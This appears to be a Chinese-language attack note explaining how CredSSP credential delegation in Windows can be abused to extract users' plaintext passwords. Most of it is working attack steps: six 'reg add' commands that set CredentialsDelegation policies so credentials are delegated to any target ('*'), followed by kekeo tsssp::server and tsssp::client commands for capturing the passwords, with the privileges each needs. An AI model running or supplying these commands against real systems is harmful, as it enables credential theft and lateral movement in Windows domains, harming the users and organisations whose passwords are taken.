完事
credssp 导出用户明文密码CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。通常运用于远程桌面服务。
我们在配置这个协议时,一般在组策略编辑器里配置。
Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据,即明文密码。
Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据,即明文密码。
这几个属性在注册表里对应 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。
攻击原理那么这样看,这个攻击流程就很自然了。
我们要获得两台机器,一台机器当作远程桌面的服务器,一台当作远程桌面的客户端。
在客户端上配置组策略(CREDSSP),使其在远程桌面身份验证时发送明文密码。
然后开始远程桌面验证,在服务器上获得客户端发来的明文密码.
1.通过修改注册表,改变组策略身份验证的凭据策略(选一个),这一步需要管理员权限,本地或域管一股脑设置好就完事了。。(用户需重新登陆才生效)
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
然后开始获取密码
我们刚刚提到需要两台电脑才能获取密码,其实那只是一个模型,一个机器既可以当作客户端又可以当作服务端的。
我们用kekeo实现攻击(本机向本机获取密码时,普通用户即可完成以下操作)
tsssp::server 开启服务端
tsssp::client /target:... 开启客户端,这里的target随便填
那么再回到需要两个机器,一个当服务端一个当客户端的情况吧。
服务端建立: tsssp::server 需要SYSTEM权限
客户端链接: tsssp::client /target:服务端的SPN(一般采用TERMSRV服务) /pipe: \服务端域名\pipe\kekeo_tsssp_endpoint 普通用户权限即可